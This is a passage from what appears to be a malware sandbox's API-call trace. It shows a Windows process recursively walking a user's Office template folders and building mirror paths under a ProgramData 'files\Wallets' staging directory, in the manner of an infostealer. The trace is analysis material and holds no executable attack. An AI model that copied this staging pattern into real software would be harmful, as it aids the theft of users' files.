returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\.." [0052.317] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0052.317] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\" [0052.317] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\.." [0052.317] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.317] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.317] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 1 [0052.317] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0052.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\" [0052.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.317] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0052.317] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\" [0052.317] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.317] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0052.317] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0052.317] lstrcpyW (in: lpString1=0x19b29c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*.*" [0052.318] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*.*", lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 0x58a300 [0052.319] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.319] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.319] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\." [0052.319] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.319] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.319] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\." [0052.319] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.319] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.322] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.322] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.322] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\.." [0052.322] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.322] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.323] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\.." [0052.323] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.323] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.323] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.323] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.323] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.323] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090430[[fn=Banded]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx" [0052.323] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.323] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.323] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090430[[fn=Banded]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx" [0052.323] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.323] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.323] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.323] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090434[[fn=Wood Type]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx" [0052.323] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.323] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.323] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090434[[fn=Wood Type]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx" [0052.323] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.323] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.323] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.323] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457444[[fn=Basis]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx" [0052.323] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.323] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.323] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457444[[fn=Basis]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx" [0052.323] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.323] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.323] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.323] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457464[[fn=Dividend]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx" [0052.323] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.323] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.323] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457464[[fn=Dividend]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx" [0052.323] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.323] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457475[[fn=Frame]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx" [0052.324] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") 